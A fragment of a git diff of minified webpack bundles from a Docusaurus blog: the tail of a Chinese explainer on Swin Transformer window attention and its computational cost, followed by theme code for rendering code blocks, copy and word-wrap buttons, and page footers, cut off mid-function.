\u4e00\u5f20\u56fe\u88ab\u5206\u4e3a\u591a\u5c11\u4e2awindows eg:[4,49,49]\n attn = attn.view(B_ // nW, nW, self.num_heads, N, N) + mask.unsqueeze(1).unsqueeze(0) # torch.Size([128, 4, 12, 49, 49]) torch.Size([1, 4, 1, 49, 49])\n attn = attn.view(-1, self.num_heads, N, N)\n attn = self.softmax(attn)\nelse:\n attn = self.softmax(attn)\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5c06 mask \u52a0\u5230 attention \u7684\u8ba1\u7b97\u7ed3\u679c\uff0c\u5e76\u8fdb\u884c softmax\u3002mask \u7684\u503c\u8bbe\u7f6e\u4e3a - 100\uff0csoftmax \u540e\u5c31\u4f1a\u5ffd\u7565\u6389\u5bf9\u5e94\u7684\u503c\u3002\u5173\u4e8eMask\uff0c\u6211\u4eec\u53d1\u73b0\u5728\u5b98\u65b9\u4ee3\u7801\u5e93\u4e2d\u7684issue38\u4e5f\u8fdb\u884c\u4e86\u8ba8\u8bba:--\x3e",(0,r.jsx)(e.a,{href:"https://github.com/microsoft/Swin-Transformer/issues/38#issuecomment-823806591",children:"The Question about the mask of window attention #38"})]}),"\n",(0,r.jsx)(e.h2,{id:"w-msa\u548cmsa\u7684\u590d\u6742\u5ea6\u5bf9\u6bd4",children:"W-MSA\u548cMSA\u7684\u590d\u6742\u5ea6\u5bf9\u6bd4"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u539f\u8bba\u6587\u4e2d\uff0c\u4f5c\u8005\u63d0\u51fa\u7684\u57fa\u4e8e",(0,r.jsx)(e.strong,{children:"\u6ed1\u52a8\u7a97\u53e3\u64cd\u4f5c"}),"\u7684 ",(0,r.jsx)(e.code,{children:"W-MSA"})," \u80fd\u5927\u5e45\u5ea6\u51cf\u5c11\u8ba1\u7b97\u91cf\u3002\u90a3\u4e48\u4e24\u8005\u7684\u8ba1\u7b97\u91cf\u548c\u7b97\u6cd5\u590d\u6742\u5ea6\u5927\u6982\u662f\u5982\u4f55\u7684\u5462\uff0c\u8bba\u6587\u4e2d\u7ed9\u51fa\u4e86\u4e00\u4e0b\u4e24\u4e2a\u516c\u5f0f\u8fdb\u884c\u5bf9\u6bd4\u3002\n$$\n\\begin{aligned}\n&\\Omega(M S A)=4 h w C^{2}+2(h w)^{2} C \\\n&\\Omega(W-M S A)=4 h w C^{2}+2 M^{2} h w C\n\\end{aligned}\n$$"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"h"}),"\uff1afeature map\u7684\u9ad8\u5ea6"]}),"\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"w"}),"\uff1afeature map\u7684\u5bbd\u5ea6"]}),"\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"C"}),"\uff1afeature map\u7684\u901a\u9053\u6570\uff08\u4e5f\u53ef\u4ee5\u79f0\u4e3aembedding size\u7684\u5927\u5c0f\uff09"]}),"\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"M"}),"\uff1awindow_size\u7684\u5927\u5c0f"]}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"msa\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",children:"MSA\u6a21\u5757\u7684\u8ba1\u7b97\u91cf"}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u5148\u5bf9\u4e8e",(0,r.jsx)(e.code,{children:"feature map"}),"\u4e2d\u6bcf\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"token"}),"\uff08\u4e00\u5171\u6709 $hw$ \u4e2atoken\uff0c\u901a\u9053\u6570\u4e3aC\uff09\uff0c\u8bb0\u4f5c$X^{h w \\times C}$\uff0c\u9700\u8981\u901a\u8fc7\u4e09\u6b21\u7ebf\u6027\u53d8\u6362 $W_q,W_k,W_v$ \uff0c\u4ea7\u751f\u5bf9\u5e94\u7684",(0,r.jsx)(e.code,{children:"q,k,v"}),"\u5411\u91cf\uff0c\u8bb0\u4f5c $Q^{h w \\times C},K^{h w \\times C},V^{h w \\times C}$ \uff08\u901a\u9053\u6570\u4e3aC\uff09\u3002\n$$\nX^{h w \\times C} \\cdot W_{q}^{C \\times C}=Q^{h w \\times C} \\\nX^{h w \\times C} \\cdot W_{k}^{C \\times C}=K^{h w \\times C} \\\nX^{h w \\times C} \\cdot W_{v}^{C \\times C}=V^{h w \\times C} \\\n$$\n\u6839\u636e\u77e9\u9635\u8fd0\u7b97\u7684\u8ba1\u7b97\u91cf\u516c\u5f0f\u53ef\u4ee5\u5f97\u5230\u8fd0\u7b97\u91cf\u4e3a $3hwC \\times C$ \uff0c\u5373\u4e3a $3hwC^2$ \u3002\n$$\nQ^{h w \\times C} \\cdot K^T=A^{h w \\times hw} \\\n\\Lambda^{h w \\times h w}=Softmax(\\frac{A^{h w \\times hw}}{\\sqrt(d)}+B) \\\n\\Lambda^{h w \\times h w} \\cdot V^{h w \\times C}=Y^{h w \\times C}\n$$\n\u5ffd\u7565\u9664\u4ee5$\\sqrt d$ \u4ee5\u53casoftmax\u7684\u8ba1\u7b97\u91cf\uff0c\u6839\u636e\u6839\u636e\u77e9\u9635\u8fd0\u7b97\u7684\u8ba1\u7b97\u91cf\u516c\u5f0f\u53ef\u5f97 $hwC \\times hw + hw^2 \\times C$ \uff0c\u5373\u4e3a $2(hw^2)C$ \u3002\n$$\nY^{h w \\times C} \\cdot W_O^{C \\times C}=O^{h w \\times C}\n$$\n\u6700\u7ec8\u518d\u901a\u8fc7\u4e00\u4e2aLinear\u5c42\u8f93\u51fa\uff0c\u8ba1\u7b97\u91cf\u4e3a $hwC^2$ \u3002\u56e0\u6b64\u6574\u4f53\u7684\u8ba1\u7b97\u91cf\u4e3a $4 h w C^{2}+2(h w)^{2} C$\u200b \u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"w-msa\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",children:"W-MSA\u6a21\u5757\u7684\u8ba1\u7b97\u91cf"}),"\n",(0,r.jsxs)(e.p,{children:["\u5bf9\u4e8eW-MSA\u6a21\u5757\uff0c\u9996\u5148\u4f1a\u5c06",(0,r.jsx)(e.code,{children:"feature map"}),"\u6839\u636e",(0,r.jsx)(e.code,{children:"window_size"}),"\u5206\u6210 $\\frac{hw}{M^2}$ \u7684\u7a97\u53e3\uff0c\u6bcf\u4e2a\u7a97\u53e3\u7684\u5bbd\u9ad8\u5747\u4e3a$M$\uff0c\u7136\u540e\u5728\u6bcf\u4e2a\u7a97\u53e3\u8fdb\u884cMSA\u7684\u8fd0\u7b97\u3002\u56e0\u6b64\uff0c\u53ef\u4ee5\u5229\u7528\u4e0a\u9762MSA\u7684\u8ba1\u7b97\u91cf\u516c\u5f0f\uff0c\u5c06 $h=M\uff0cw=M$ \u5e26\u5165\uff0c\u53ef\u4ee5\u5f97\u5230\u4e00\u4e2a\u7a97\u53e3\u7684\u8ba1\u7b97\u91cf\u4e3a $4 M^2 C^{2}+2M^{4} C$ \u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u53c8\u56e0\u4e3a\u6709 $\\frac{hw}{M^2}$ \u4e2a\u7a97\u53e3\uff0c\u5219\uff1a\n$$\n\\frac{hw}{M^2} \\times\\left(4M^2 C^2+2M^{4} C\\right)=4 h w C^{2}+2 M^{2} h w C\n$$\n\u5047\u8bbe",(0,r.jsx)(e.code,{children:"feature map"}),"\u7684$h=w=112\uff0cM=7\uff0cC=128$\uff0c\u91c7\u7528W-MSA\u6a21\u5757\u4f1a\u6bd4MSA\u6a21\u5757\u8282\u7701\u7ea640124743680 FLOPs\uff1a\n$$\n2(h w)^{2} C-2 M^{2} h w C=2 \\times 112^{4} \\times 128-2 \\times 7^{2} \\times 112^{2} \\times 128=40124743680\n$$"]}),"\n",(0,r.jsx)(e.h2,{id:"\u6574\u4f53\u6d41\u7a0b\u56fe",children:"\u6574\u4f53\u6d41\u7a0b\u56fe"}),"\n",(0,r.jsx)(e.p,{align:"center",children:(0,r.jsx)(e.img,{src:"./figures/Swin-T.png",alt:"Swin-T",style:{zoom:"80%"}})}),"\n",(0,r.jsx)(e.p,{align:"center",children:(0,r.jsx)(e.img,{src:"./figures/Net.png",alt:"Network",style:{zoom:"50%"}})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Hyper_parameters",src:s(91408).A+"",width:"1333",height:"425"})}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"\u53c2\u8003\u535a\u5ba2\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/367111046",children:"https://zhuanlan.zhihu.com/p/367111046"})}),"\n"]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"\u8054\u7cfb\u65b9\u5f0f\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsxs)(e.p,{children:["\u4e2a\u4eba\u77e5\u4e4e\uff1a",(0,r.jsx)(e.a,{href:"https://www.zhihu.com/people/shenhao-63",children:"https://www.zhihu.com/people/shenhao-63"})]}),"\n"]}),"\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsxs)(e.p,{children:["Github\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/shenhao-stu",children:"https://github.com/shenhao-stu"})]}),"\n"]}),"\n"]}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(c,{...n})}):c(n)}},51966:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/code_Architecture-9400375c594d539e7e5d7d3ec94b0339.png"},60575:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Patch_Merging-f9dd3c999bf1b47910021367bb17c831.png"},81324:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Patch_Merging_dim-e64c0c3c4275d196b806bc5ab33584b7.png"},85883:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/coords-acbc3056889bd861c15f281cf4569a28.png"},91408:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Hyper_parameters-27b865308e89e1d457f13e8ba2a87ef7.png"},97896:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/relative_pos_code-5159ba85629df87d521cf32bac858668.png"}}]); \ No newline at end of file diff --git a/en/assets/js/1180.2c8059ad.js b/en/assets/js/1180.2c8059ad.js new file mode 100644 index 0000000..b7e98a4 --- /dev/null +++ b/en/assets/js/1180.2c8059ad.js @@ -0,0 +1 @@ +(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1180],{2697:(e,n,t)=>{"use strict";t.d(n,{A:()=>ze});var s=t(96540),a=t(28453),r=t(5260),i=t(92303),o=t(34164),c=t(95293),l=t(6342);function d(){const{prism:e}=(0,l.p)(),{colorMode:n}=(0,c.G)(),t=e.theme,s=e.darkTheme||t;return"dark"===n?s:t}var u=t(17559),m=t(18426),h=t.n(m),f=t(89532),p=t(74848);const x=/title=(?["'])(?.*?)\1/,g=/\{(?<range>[\d,-]+)\}/,j={js:{start:"\\/\\/",end:""},jsBlock:{start:"\\/\\*",end:"\\*\\/"},jsx:{start:"\\{\\s*\\/\\*",end:"\\*\\/\\s*\\}"},bash:{start:"#",end:""},html:{start:"\x3c!--",end:"--\x3e"}},b={...j,lua:{start:"--",end:""},wasm:{start:"\\;\\;",end:""},tex:{start:"%",end:""},vb:{start:"['\u2018\u2019]",end:""},vbnet:{start:"(?:_\\s*)?['\u2018\u2019]",end:""},rem:{start:"[Rr][Ee][Mm]\\b",end:""},f90:{start:"!",end:""},ml:{start:"\\(\\*",end:"\\*\\)"},cobol:{start:"\\*>",end:""}},v=Object.keys(j);function N(e,n){const t=e.map(e=>{const{start:t,end:s}=b[e];return`(?:${t}\\s*(${n.flatMap(e=>[e.line,e.block?.start,e.block?.end].filter(Boolean)).join("|")})\\s*${s})`}).join("|");return new RegExp(`^\\s*(?:${t})\\s*$`)}function A({showLineNumbers:e,metastring:n}){return"boolean"==typeof e?e?1:void 0:"number"==typeof e?e:function(e){const n=e?.split(" ").find(e=>e.startsWith("showLineNumbers"));if(n){if(n.startsWith("showLineNumbers=")){const e=n.replace("showLineNumbers=","");return parseInt(e,10)}return 1}}(n)}function y(e,n){const{language:t,magicComments:s}=n;if(void 0===t)return{lineClassNames:{},code:e};const a=function(e,n){switch(e){case"js":case"javascript":case"ts":case"typescript":return N(["js","jsBlock"],n);case"jsx":case"tsx":return N(["js","jsBlock","jsx"],n);case"html":return N(["js","jsBlock","html"],n);case"python":case"py":case"bash":return N(["bash"],n);case"markdown":case"md":return N(["html","jsx","bash"],n);case"tex":case"latex":case"matlab":return N(["tex"],n);case"lua":case"haskell":return N(["lua"],n);case"sql":return N(["lua","jsBlock"],n);case"wasm":return N(["wasm"],n);case"vb":case"vba":case"visual-basic":return N(["vb","rem"],n);case"vbnet":return N(["vbnet","rem"],n);case"batch":return N(["rem"],n);case"basic":return N(["rem","f90"],n);case"fsharp":return N(["js","ml"],n);case"ocaml":case"sml":return N(["ml"],n);case"fortran":return N(["f90"],n);case"cobol":return N(["cobol"],n);default:return N(v,n)}}(t,s),r=e.split(/\r?\n/),i=Object.fromEntries(s.map(e=>[e.className,{start:0,range:""}])),o=Object.fromEntries(s.filter(e=>e.line).map(({className:e,line:n})=>[n,e])),c=Object.fromEntries(s.filter(e=>e.block).map(({className:e,block:n})=>[n.start,e])),l=Object.fromEntries(s.filter(e=>e.block).map(({className:e,block:n})=>[n.end,e]));for(let u=0;u<r.length;){const e=r[u].match(a);if(!e){u+=1;continue}const n=e.slice(1).find(e=>void 0!==e);o[n]?i[o[n]].range+=`${u},`:c[n]?i[c[n]].start=u:l[n]&&(i[l[n]].range+=`${i[l[n]].start}-${u-1},`),r.splice(u,1)}const d={};return Object.entries(i).forEach(([e,{range:n}])=>{h()(n).forEach(n=>{d[n]??=[],d[n].push(e)})}),{code:r.join("\n"),lineClassNames:d}}function C(e,n){const t=e.replace(/\r?\n$/,"");return function(e,{metastring:n,magicComments:t}){if(n&&g.test(n)){const s=n.match(g).groups.range;if(0===t.length)throw new Error(`A highlight range has been given in code block's metastring (\`\`\` ${n}), but no magic comment config is available. Docusaurus applies the first magic comment entry's className for metastring ranges.`);const a=t[0].className,r=h()(s).filter(e=>e>0).map(e=>[e-1,[a]]);return{lineClassNames:Object.fromEntries(r),code:e}}return null}(t,{...n})??y(t,{...n})}function w(e){const n=function(e){return n=e.language??function(e){if(!e)return;const n=e.split(" ").find(e=>e.startsWith("language-"));return n?.replace(/language-/,"")}(e.className)??e.defaultLanguage,n?.toLowerCase()??"text";var n}({language:e.language,defaultLanguage:e.defaultLanguage,className:e.className}),{lineClassNames:t,code:s}=C(e.code,{metastring:e.metastring,magicComments:e.magicComments,language:n}),a=function({className:e,language:n}){return(0,o.A)(e,n&&!e?.includes(`language-${n}`)&&`language-${n}`)}({className:e.className,language:n}),r=(i=e.metastring,(i?.match(x)?.groups.title??"")||e.title);var i;const c=A({showLineNumbers:e.showLineNumbers,metastring:e.metastring});return{codeInput:e.code,code:s,className:a,language:n,title:r,lineNumbersStart:c,lineClassNames:t}}const k=(0,s.createContext)(null);function L({metadata:e,wordWrap:n,children:t}){const a=(0,s.useMemo)(()=>({metadata:e,wordWrap:n}),[e,n]);return(0,p.jsx)(k.Provider,{value:a,children:t})}function B(){const e=(0,s.useContext)(k);if(null===e)throw new f.dV("CodeBlockContextProvider");return e}const T="codeBlockContainer_Ckt0";function E({as:e,...n}){const t=function(e){const n={color:"--prism-color",backgroundColor:"--prism-background-color"},t={};return Object.entries(e.plain).forEach(([e,s])=>{const a=n[e];a&&"string"==typeof s&&(t[a]=s)}),t}(d());return(0,p.jsx)(e,{...n,style:t,className:(0,o.A)(n.className,T,u.G.common.codeBlock)})}const H="codeBlock_bY9V",_="codeBlockStandalone_MEMb",M="codeBlockLines_e6Vv",S="codeBlockLinesWithNumbering_o6Pm";function I({children:e,className:n}){return(0,p.jsx)(E,{as:"pre",tabIndex:0,className:(0,o.A)(_,"thin-scrollbar",n),children:(0,p.jsx)("code",{className:M,children:e})})}const U={attributes:!0,characterData:!0,childList:!0,subtree:!0};function z(e,n){const[t,a]=(0,s.useState)(),r=(0,s.useCallback)(()=>{a(e.current?.closest("[role=tabpanel][hidden]"))},[e,a]);(0,s.useEffect)(()=>{r()},[r]),function(e,n,t=U){const a=(0,f._q)(n),r=(0,f.Be)(t);(0,s.useEffect)(()=>{const n=new MutationObserver(a);return e&&n.observe(e,r),()=>n.disconnect()},[e,a,r])}(t,e=>{e.forEach(e=>{"attributes"===e.type&&"hidden"===e.attributeName&&(n(),r())})},{attributes:!0,characterData:!1,childList:!1,subtree:!1})}function R({children:e}){return e}var V=t(71765);function O({line:e,token:n,...t}){return(0,p.jsx)("span",{...t})}const P="codeLine_lJS_",$="codeLineNumber_Tfdd",D="codeLineContent_feaV";function W({line:e,classNames:n,showLineNumbers:t,getLineProps:s,getTokenProps:a}){const r=function(e){const n=1===e.length&&"\n"===e[0].content?e[0]:void 0;return n?[{...n,content:""}]:e}(e),i=s({line:r,className:(0,o.A)(n,t&&P)}),c=r.map((e,n)=>{const t=a({token:e});return(0,p.jsx)(O,{...t,line:r,token:e,children:t.children},n)});return(0,p.jsxs)("span",{...i,children:[t?(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)("span",{className:$}),(0,p.jsx)("span",{className:D,children:c})]}):c,(0,p.jsx)("br",{})]})}const q=s.forwardRef((e,n)=>(0,p.jsx)("pre",{ref:n,tabIndex:0,...e,className:(0,o.A)(e.className,H,"thin-scrollbar")}));function F(e){const{metadata:n}=B();return(0,p.jsx)("code",{...e,className:(0,o.A)(e.className,M,void 0!==n.lineNumbersStart&&S),style:{...e.style,counterReset:void 0===n.lineNumbersStart?void 0:"line-count "+(n.lineNumbersStart-1)}})}function G({className:e}){const{metadata:n,wordWrap:t}=B(),s=d(),{code:a,language:r,lineNumbersStart:i,lineClassNames:c}=n;return(0,p.jsx)(V.f4,{theme:s,code:a,language:r,children:({className:n,style:s,tokens:a,getLineProps:r,getTokenProps:l})=>(0,p.jsx)(q,{ref:t.codeBlockRef,className:(0,o.A)(e,n),style:s,children:(0,p.jsx)(F,{children:a.map((e,n)=>(0,p.jsx)(W,{line:e,getLineProps:r,getTokenProps:l,classNames:c[n],showLineNumbers:void 0!==i},n))})})})}function J({children:e,fallback:n}){return(0,i.A)()?(0,p.jsx)(p.Fragment,{children:e?.()}):n??null}var Z=t(21312);function Y({className:e,...n}){return(0,p.jsx)("button",{type:"button",...n,className:(0,o.A)("clean-btn",e)})}function Q(e){return(0,p.jsx)("svg",{viewBox:"0 0 24 24",...e,children:(0,p.jsx)("path",{fill:"currentColor",d:"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"})})}function X(e){return(0,p.jsx)("svg",{viewBox:"0 0 24 24",...e,children:(0,p.jsx)("path",{fill:"currentColor",d:"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"})})}const K={copyButtonCopied:"copyButtonCopied_Vdqa",copyButtonIcons:"copyButtonIcons_IEyt",copyButtonIcon:"copyButtonIcon_TrPX",copyButtonSuccessIcon:"copyButtonSuccessIcon_cVMy"};function ee(e){return e?(0,Z.T)({id:"theme.CodeBlock.copied",message:"Copied",description:"The copied button label on code blocks"}):(0,Z.T)({id:"theme.CodeBlock.copyButtonAriaLabel",message:"Copy code to clipboard",description:"The ARIA label for copy code blocks button"})}function ne({className:e}){const{copyCode:n,isCopied:t}=function(){const{metadata:{code:e}}=B(),[n,t]=(0,s.useState)(!1),a=(0,s.useRef)(void 0),r=(0,s.useCallback)(()=>{navigator.clipboard.writeText(e).then(()=>{t(!0),a.current=window.setTimeout(()=>{t(!1)},1e3)})},[e]);return(0,s.useEffect)(()=>()=>window.clearTimeout(a.current),[]),{copyCode:r,isCopied:n}}();return(0,p.jsx)(Y,{"aria-label":ee(t),title:(0,Z.T)({id:"theme.CodeBlock.copy",message:"Copy",description:"The copy button label on code blocks"}),className:(0,o.A)(e,K.copyButton,t&&K.copyButtonCopied),onClick:n,children:(0,p.jsxs)("span",{className:K.copyButtonIcons,"aria-hidden":"true",children:[(0,p.jsx)(Q,{className:K.copyButtonIcon}),(0,p.jsx)(X,{className:K.copyButtonSuccessIcon})]})})}function te(e){return(0,p.jsx)("svg",{viewBox:"0 0 24 24",...e,children:(0,p.jsx)("path",{fill:"currentColor",d:"M4 19h6v-2H4v2zM20 5H4v2h16V5zm-3 6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3l3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4z"})})}const se="wordWrapButtonIcon_b1P5",ae="wordWrapButtonEnabled_uzNF";function re({className:e}){const{wordWrap:n}=B();if(!(n.isEnabled||n.isCodeScrollable))return!1;const t=(0,Z.T)({id:"theme.CodeBlock.wordWrapToggle",message:"Toggle word wrap",description:"The title attribute for toggle word wrapping button of code block lines"});return(0,p.jsx)(Y,{onClick:()=>n.toggle(),className:(0,o.A)(e,n.isEnabled&&ae),"aria-label":t,title:t,children:(0,p.jsx)(te,{className:se,"aria-hidden":"true"})})}const ie="buttonGroup_M5ko";function oe({className:e}){return(0,p.jsx)(J,{children:()=>(0,p.jsxs)("div",{className:(0,o.A)(e,ie),children:[(0,p.jsx)(re,{}),(0,p.jsx)(ne,{})]})})}const ce="codeBlockContent_QJqH",le="codeBlockTitle_OeMC";function de({className:e}){const{metadata:n}=B();return(0,p.jsxs)(E,{as:"div",className:(0,o.A)(e,n.className),children:[n.title&&(0,p.jsx)("div",{className:le,children:(0,p.jsx)(R,{children:n.title})}),(0,p.jsxs)("div",{className:ce,children:[(0,p.jsx)(G,{}),(0,p.jsx)(oe,{})]})]})}function ue(e){const n=function(e){const{prism:n}=(0,l.p)();return w({code:e.children,className:e.className,metastring:e.metastring,magicComments:n.magicComments,defaultLanguage:n.defaultLanguage,language:e.language,title:e.title,showLineNumbers:e.showLineNumbers})}(e),t=function(){const[e,n]=(0,s.useState)(!1),[t,a]=(0,s.useState)(!1),r=(0,s.useRef)(null),i=(0,s.useCallback)(()=>{const t=r.current.querySelector("code");e?t.removeAttribute("style"):(t.style.whiteSpace="pre-wrap",t.style.overflowWrap="anywhere"),n(e=>!e)},[r,e]),o=(0,s.useCallback)(()=>{const{scrollWidth:e,clientWidth:n}=r.current,t=e>n||r.current.querySelector("code").hasAttribute("style");a(t)},[r]);return z(r,o),(0,s.useEffect)(()=>{o()},[e,o]),(0,s.useEffect)(()=>(window.addEventListener("resize",o,{passive:!0}),()=>{window.removeEventListener("resize",o)}),[o]),{codeBlockRef:r,isEnabled:e,isCodeScrollable:t,toggle:i}}();return(0,p.jsx)(L,{metadata:n,wordWrap:t,children:(0,p.jsx)(de,{})})}function me({children:e,...n}){const t=(0,i.A)(),a=function(e){return s.Children.toArray(e).some(e=>(0,s.isValidElement)(e))?e:Array.isArray(e)?e.join(""):e}(e),r="string"==typeof a?ue:I;return(0,p.jsx)(r,{...n,children:a},String(t))}function he(e){return(0,p.jsx)("code",{...e})}var fe=t(28774);const pe="footnoteRefStickyNavbar_i6ta",xe="footnoteRefHideOnScrollNavbar_D4Gr";function ge(e){const{navbar:{hideOnScroll:n}}=(0,l.p)();return(0,p.jsx)(fe.A,{...e,className:(0,o.A)(n?xe:pe,e.className)})}var je=t(63427),be=t(41422);const ve="details_lb9f",Ne="isBrowser_bmU9",Ae="collapsibleContent_i85q";function ye(e){return!!e&&("SUMMARY"===e.tagName||ye(e.parentElement))}function Ce(e,n){return!!e&&(e===n||Ce(e.parentElement,n))}function we({summary:e,children:n,...t}){(0,je.A)().collectAnchor(t.id);const a=(0,i.A)(),r=(0,s.useRef)(null),{collapsed:c,setCollapsed:l}=(0,be.u)({initialState:!t.open}),[d,u]=(0,s.useState)(t.open),m=s.isValidElement(e)?e:(0,p.jsx)("summary",{children:e??"Details"});return(0,p.jsxs)("details",{...t,ref:r,open:d,"data-collapsed":c,className:(0,o.A)(ve,a&&Ne,t.className),onMouseDown:e=>{ye(e.target)&&e.detail>1&&e.preventDefault()},onClick:e=>{e.stopPropagation();const n=e.target;ye(n)&&Ce(n,r.current)&&(e.preventDefault(),c?(l(!1),u(!0)):l(!0))},children:[m,(0,p.jsx)(be.N,{lazy:!1,collapsed:c,onCollapseTransitionEnd:e=>{l(e),u(!e)},children:(0,p.jsx)("div",{className:Ae,children:n})})]})}const ke="details_b_Ee";function Le({...e}){return(0,p.jsx)(we,{...e,className:(0,o.A)("alert alert--info",ke,e.className)})}function Be(e){const n=s.Children.toArray(e.children),t=n.find(e=>s.isValidElement(e)&&"summary"===e.type),a=(0,p.jsx)(p.Fragment,{children:n.filter(e=>e!==t)});return(0,p.jsx)(Le,{...e,summary:t,children:a})}var Te=t(51107);function Ee(e){return(0,p.jsx)(Te.A,{...e})}const He="containsTaskList_mC6p";function _e(e){if(void 0!==e)return(0,o.A)(e,e?.includes("contains-task-list")&&He)}const Me="img_ev3q";var Se=t(27293),Ie=t(20418);const Ue={Head:r.A,details:Be,Details:Be,code:function(e){return function(e){return void 0!==e.children&&s.Children.toArray(e.children).every(e=>"string"==typeof e&&!e.includes("\n"))}(e)?(0,p.jsx)(he,{...e}):(0,p.jsx)(me,{...e})},a:function(e){return function(e){return!0===e["data-footnote-ref"]}(e)?(0,p.jsx)(ge,{...e}):(0,p.jsx)(fe.A,{...e})},pre:function(e){return(0,p.jsx)(p.Fragment,{children:e.children})},ul:function(e){return(0,p.jsx)("ul",{...e,className:_e(e.className)})},li:function(e){return(0,je.A)().collectAnchor(e.id),(0,p.jsx)("li",{...e})},img:function(e){return(0,p.jsx)("img",{decoding:"async",loading:"lazy",...e,className:(n=e.className,(0,o.A)(n,Me))});var n},h1:e=>(0,p.jsx)(Ee,{as:"h1",...e}),h2:e=>(0,p.jsx)(Ee,{as:"h2",...e}),h3:e=>(0,p.jsx)(Ee,{as:"h3",...e}),h4:e=>(0,p.jsx)(Ee,{as:"h4",...e}),h5:e=>(0,p.jsx)(Ee,{as:"h5",...e}),h6:e=>(0,p.jsx)(Ee,{as:"h6",...e}),admonition:Se.A,mermaid:Ie.A};function ze({children:e}){return(0,p.jsx)(a.x,{components:Ue,children:e})}},12153:(e,n,t)=>{"use strict";t.d(n,{A:()=>g});t(96540);var s=t(34164),a=t(21312),r=t(17559),i=t(28774);const o={iconEdit:"iconEdit_Z9Sw"};var c=t(74848);function l({className:e,...n}){return(0,c.jsx)("svg",{fill:"currentColor",height:"20",width:"20",viewBox:"0 0 40 40",className:(0,s.A)(o.iconEdit,e),"aria-hidden":"true",...n,children:(0,c.jsx)("g",{children:(0,c.jsx)("path",{d:"m34.5 11.7l-3 3.1-6.3-6.3 3.1-3q0.5-0.5 1.2-0.5t1.1 0.5l3.9 3.9q0.5 0.4 0.5 1.1t-0.5 1.2z m-29.5 17.1l18.4-18.5 6.3 6.3-18.4 18.4h-6.3v-6.2z"})})})}function d({editUrl:e}){return(0,c.jsxs)(i.A,{to:e,className:r.G.common.editThisPage,children:[(0,c.jsx)(l,{}),(0,c.jsx)(a.A,{id:"theme.common.editThisPage",description:"The link label to edit the current page",children:"Edit this page"})]})}var u=t(44586);function m(e={}){const{i18n:{currentLocale:n}}=(0,u.A)(),t=function(){const{i18n:{currentLocale:e,localeConfigs:n}}=(0,u.A)();return n[e].calendar}();return new Intl.DateTimeFormat(n,{calendar:t,...e})}function h({lastUpdatedAt:e}){const n=new Date(e),t=m({day:"numeric",month:"short",year:"numeric",timeZone:"UTC"}).format(n);return(0,c.jsx)(a.A,{id:"theme.lastUpdated.atDate",description:"The words used to describe on which date a page has been last updated",values:{date:(0,c.jsx)("b",{children:(0,c.jsx)("time",{dateTime:n.toISOString(),itemProp:"dateModified",children:t})})},children:" on {date}"})}function f({lastUpdatedBy:e}){return(0,c.jsx)(a.A,{id:"theme.lastUpdated.byUser",description:"The words used to describe by who the page has been last updated",values:{user:(0,c.jsx)("b",{children:e})},children:" by {user}"})}function p({lastUpdatedAt:e,lastUpdatedBy:n}){return(0,c.jsxs)("span",{className:r.G.common.lastUpdated,children:[(0,c.jsx)(a.A,{id:"theme.lastUpdated.lastUpdatedAtBy",description:"The sentence used to display when a page has been last updated, and by who",values:{atDate:e?(0,c.jsx)(h,{lastUpdatedAt:e}):"",byUser:n?(0,c.jsx)(f,{lastUpdatedBy:n}):""},children:"Last updated{atDate}{byUser}"}),!1]})}const x={lastUpdated:"lastUpdated_JAkA"};function g({className:e,editUrl:n,lastUpdatedAt:t,lastUpdatedBy:a}){return(0,c.jsxs)("div",{className:(0,s.A)("row",e),children:[(0,c.jsx)("div",{className:"col",children:n&&(0,c.jsx)(d,{editUrl:n})}),(0,c.jsx)("div",{className:(0,s.A)("col",x.lastUpdated),children:(t||a)&&(0,c.jsx)(p,{lastUpdatedAt:t,lastUpdatedBy:a})})]})}},18426:(e,n)=>{function t(e){let n,t=[];for(let s of e.split(",").map(e=>e.trim()))if(/^-?\d+$/.test(s))t.push(parseInt(s,10));else if(n=s.match(/^(-?\d+)(-|\.\.\.?|\u2025|\u2026|\u22EF)(-?\d+)$/)){let[e,s,a,r]=n;if(s&&r){s=parseInt(s),r=parseInt(r);const 